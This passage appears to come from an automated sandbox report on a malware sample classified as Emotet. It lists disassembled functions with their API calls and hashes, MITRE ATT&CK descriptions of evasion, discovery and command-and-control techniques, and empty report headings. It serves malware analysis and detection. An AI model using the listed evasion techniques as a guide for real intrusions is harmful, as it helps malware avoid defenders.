Instruction Fuzzy Hash: A2F0F836035515BFCF221FE1CC0498A3F2AFF4A3A0B054424FA0895165D632C830EF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7E90, Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 6E8F7E97
VariantCopy.OLEAUT32(?,?), ref: 6E8F7EA1
_com_issue_error.COMSUPP ref: 6E8F7EB3
VariantClear.OLEAUT32 ref: 6E8F7EC1

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$ClearCopyInit_com_issue_error
String ID:
API String ID: 309108855-0
Opcode ID: f4e9a0824bbdab37963a5c8df1112c975eb60668997368ddd2625d15d99e97bf
Instruction ID: d890aab071fe258b8fd1c25d46ea3f4633c1fec80cd8f879b6f581882a784663
Opcode Fuzzy Hash: f4e9a0824bbdab37963a5c8df1112c975eb60668997368ddd2625d15d99e97bf
Instruction Fuzzy Hash: 44D05E732269246F9E052BE59D0CDCB7B1CEF226A53004426F714C1100DBB6C90087F8

Uniqueness

Uniqueness Score: -1.00%

Function 6E91598D, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E915996

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E9159A9
_free.LIBCMT ref: 6E9159BA
_free.LIBCMT ref: 6E9159CB

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f07ee6657f775eb4d84d5afc023215666e8eaa4804f78bd7bb69e10b8e26d188
Instruction ID: 8132eb7794145401fe6e5db700c201447372ee01735c2132f4595d97e2b675f1
Opcode Fuzzy Hash: f07ee6657f775eb4d84d5afc023215666e8eaa4804f78bd7bb69e10b8e26d188
Instruction Fuzzy Hash: 07E0BF7546CE289ACE365F94E5004C63B35EFDB7583514C1AF40052255C7B54991AFD3

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FBD70, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 202COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6E8FBEED
std::_Xinvalid_argument.LIBCPMT ref: 6E8FBFAC

Strings

unordered_map/set too long, xrefs: 6E8FBFA7

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: 89c9c89c9a0d5f4edadac46f741c9ea54d6a377e60c2eb80fa82d2db44c0faf2
Instruction ID: a93ca216d2b1a00e462855fadca58fccad6fc0d48f9b09ac8145a18beb6bc9d4
Opcode Fuzzy Hash: 89c9c89c9a0d5f4edadac46f741c9ea54d6a377e60c2eb80fa82d2db44c0faf2
Instruction Fuzzy Hash: 0871AD71A04609CFCB25CFA9C490A9AFBF4FF49354F108A6AE445AB741E731A942CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E9178ED, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6E91797D

Strings

pow, xrefs: 6E917955, 6E917972

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 45437fc941154289e6d052876acce54b343af24a8e8d9b695d95fe68e55e100d
Instruction ID: 4455d5ae8b3b0cbe3280eb8a4e1b2aab07a153e30a966f24513c2c9b9e41139f
Opcode Fuzzy Hash: 45437fc941154289e6d052876acce54b343af24a8e8d9b695d95fe68e55e100d
Instruction Fuzzy Hash: 04510861A3D5079ECF416AA6CA507DD37ACDF43750F208DA8E4A5422DCEB36C4AD8E42

Uniqueness

Uniqueness Score: -1.00%

Function 6E9039A0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6E903AE2
std::_Xinvalid_argument.LIBCPMT ref: 6E903BAB

Strings

unordered_map/set too long, xrefs: 6E903BA6

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: 164933a8db0f98b9c28ee262d914a568e67fb296ad951a8c4615719a0d302a55
Instruction ID: f72ab49af7e887ed960e3d530c089a0395f03c8df71bba706d26064c63c06006
Opcode Fuzzy Hash: 164933a8db0f98b9c28ee262d914a568e67fb296ad951a8c4615719a0d302a55
Instruction Fuzzy Hash: 73619071A0460ADFCB15CFA9C444AAEF7B9FF99304F10866AD415BB241E731E982CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FAF10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

\PerfmonBar\config.xml, xrefs: 6E8FADB9

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: \PerfmonBar\config.xml
API String ID: 0-3729978544
Opcode ID: c5a3e45d6b062fddd5056c4d6ebbe332437d1e88cbbcd1f94c858ad81a158981
Instruction ID: 9f6ee6146264c190dbac6973eb4affab83d27d68904819792ab84d1cfdb85c50
Opcode Fuzzy Hash: c5a3e45d6b062fddd5056c4d6ebbe332437d1e88cbbcd1f94c858ad81a158981
Instruction Fuzzy Hash: 7831AFB1D04648DFDB10CFA4C944B9EBBF4FF08B10F144669E815AB380D735A905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F1A70, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6E8F1A75

Part of subcall function 6E9052A1: std::invalid_argument::invalid_argument.LIBCONCRT ref: 6E9052AD

___std_exception_copy.LIBVCRUNTIME ref: 6E8F1A9E

Strings

string too long, xrefs: 6E8F1A70

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument___std_exception_copystd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 1846318660-2556327735
Opcode ID: 75f2747735f5759b00664a44b9ce1c9af08dda6650bd7647fe615171e41a3129
Instruction ID: ce5cfbf1061b12d499008731238b2fac00d47e2d3c809c158bf2388f5708a872
Opcode Fuzzy Hash: 75f2747735f5759b00664a44b9ce1c9af08dda6650bd7647fe615171e41a3129
Instruction Fuzzy Hash: D5E0CD739203195BC6109FDCDC018C6B7DDDF65218750893AF648E7700E770E4908FA4

Uniqueness

Uniqueness Score: -1.00%

Function 6E9073A0, Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,00000000,6E90226B), ref: 6E9073A5
HeapAlloc.KERNEL32(00000000), ref: 6E9073AC
GetProcessHeap.KERNEL32(00000000,00000000), ref: 6E9073F2
HeapFree.KERNEL32(00000000), ref: 6E9073F9

Part of subcall function 6E90723E: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,6E9073E8,00000000), ref: 6E907262
Part of subcall function 6E90723E: HeapAlloc.KERNEL32(00000000), ref: 6E907269

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: 69ab38cc16d6af3ed4087cfd252f3dfd5fe5a80eb8d6a8106249f9d775ca7385
Instruction ID: f70c1563b2ea36bb5075a763ec6ed180cc46c96a976b2df1e655988822315502
Opcode Fuzzy Hash: 69ab38cc16d6af3ed4087cfd252f3dfd5fe5a80eb8d6a8106249f9d775ca7385
Instruction Fuzzy Hash: 6BF09033658B129FDE6237FD6D0899E296A9FC2671781881CF945C62C4DF70C8019FA0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report UioA2E9DBG

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior

Function 00DA91F7, Relevance: 32.4, Strings: 25, Instructions: 1116
COMMONCrypto